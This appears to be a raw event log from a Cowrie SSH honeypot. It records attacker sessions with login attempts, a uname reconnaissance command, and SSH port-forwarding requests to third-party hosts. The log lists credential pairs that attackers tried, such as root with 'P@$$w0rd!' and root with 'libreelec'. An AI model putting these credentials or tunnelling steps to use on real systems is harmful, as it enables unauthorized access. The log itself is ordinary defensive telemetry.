{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:40.554701Z","src_ip":"14.225.2.125","session":"697cc47a24f8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@$$w0rd!","message":"login attempt [root/P@$$w0rd!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:41.359276Z","src_ip":"14.225.2.125","session":"697cc47a24f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:41.937062Z","src_ip":"14.225.2.125","session":"697cc47a24f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:41.940254Z","src_ip":"14.225.2.125","session":"697cc47a24f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:42.211582Z","src_ip":"14.225.2.125","session":"697cc47a24f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:42.217727Z","src_ip":"14.225.2.125","session":"697cc47a24f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":47740,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e5829952539","protocol":"ssh","message":"New connection: 139.19.117.129:47740 (159.203.135.109:22) [session: 0e5829952539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:55.953885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:55.958126Z","src_ip":"139.19.117.129","session":"0e5829952539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:56.051600Z","src_ip":"139.19.117.129","session":"0e5829952539","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:56.241411Z","src_ip":"139.19.117.129","session":"0e5829952539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:56.244833Z","src_ip":"139.19.117.129","session":"0e5829952539","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:56.344103Z","src_ip":"139.19.117.129","session":"0e5829952539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:bf:10:d7:8e:5f:95:08:c0:27:de:39:0d:15:da:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69p6u0xvnBRcSMatDUAlflsayJHp3y3oKQEwChJvGGB3bJvVFL3YxuO/ZKyssjGUDv9R+8tBJVqd4kpEPZniPmndHCX4eDFB4gxG1sL7UsNR8yxY2QciMAf151vK51cckT8219DolaRkrjtOyUpj6g59Qwu76+3GWEyYOevE1x5fPqI5PCYBgE+uKL+Gd9FVutGnbjjWjBf9N3G4yHEgy7pR9DKVH90KnwKuaptqPeP5GFLSTVmslvN7h9j5i9Vz2YsTx1XclI2VKaPHObW30LGOAXOqtYo2dvN7h3rdCg/ijw8eUb0ELPHl6o6s4r2IkbLOtthBifhLUV0JgFOb5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:04:56.347469Z","src_ip":"139.19.117.129","session":"0e5829952539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:05:05.954438Z","src_ip":"139.19.117.129","session":"0e5829952539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45090,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e3f4905f382","protocol":"ssh","message":"New connection: 2.57.122.208:45090 (159.203.135.109:22) [session: 4e3f4905f382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:40.176183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:40.212838Z","src_ip":"2.57.122.208","session":"4e3f4905f382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:40.307016Z","src_ip":"2.57.122.208","session":"4e3f4905f382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:40.719014Z","src_ip":"2.57.122.208","session":"4e3f4905f382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:41.849175Z","src_ip":"2.57.122.208","session":"4e3f4905f382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":41664,"dst_ip":"159.203.135.109","dst_port":22,"session":"909445ac61a7","protocol":"ssh","message":"New connection: 77.90.185.17:41664 (159.203.135.109:22) [session: 909445ac61a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:48.028097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:48.032685Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:48.141651Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:48.676208Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.221.59.244","dst_port":443,"src_ip":"77.90.185.17","src_port":38110,"message":"direct-tcp connection request to 52.221.59.244:443 from 127.0.0.1:38110","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:49.712017Z","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.221.59.244","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.221.59.244:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:49.878308Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.221.59.244","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\x82\\xd3o!\\x86\\x18\\xb1^W\\xaf73}\\xfciC&\\x00\\x1f\\xb78j\\x1b\\xfe\\xf8\\xbf]\\xa5^U\\x00 \\xfc\\xb9Ef\\x10\\xa9\\xf6p\\xa3r\\x8aZmwN\\xc4\\x94\\x91\\xb5\\xf7\\xdci\\x9f\\xea\\xda\\x01\\xdc\\xc5j\\x05C\\x8e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe7\\x00\\x13\\xae\\xd1\\xe9\\xdf\\xc1b\\x94W\\x03?-?\\x0f)e\\xe6p\\xb8\\xdc\\x06\\xb0\\x01\\xe5\\xbe?+\\xa3\\x0bS\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.221.59.244:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\x82\\xd3o!\\x86\\x18\\xb1^W\\xaf73}\\xfciC&\\x00\\x1f\\xb78j\\x1b\\xfe\\xf8\\xbf]\\xa5^U\\x00 \\xfc\\xb9Ef\\x10\\xa9\\xf6p\\xa3r\\x8aZmwN\\xc4\\x94\\x91\\xb5\\xf7\\xdci\\x9f\\xea\\xda\\x01\\xdc\\xc5j\\x05C\\x8e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe7\\x00\\x13\\xae\\xd1\\xe9\\xdf\\xc1b\\x94W\\x03?-?\\x0f)e\\xe6p\\xb8\\xdc\\x06\\xb0\\x01\\xe5\\xbe?+\\xa3\\x0bS\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:49.881804Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.32.24.235","dst_port":443,"src_ip":"77.90.185.17","src_port":38644,"message":"direct-tcp connection request to 23.32.24.235:443 from 127.0.0.1:38644","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:50.201863Z","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.32.24.235","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.32.24.235:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:51.000359Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
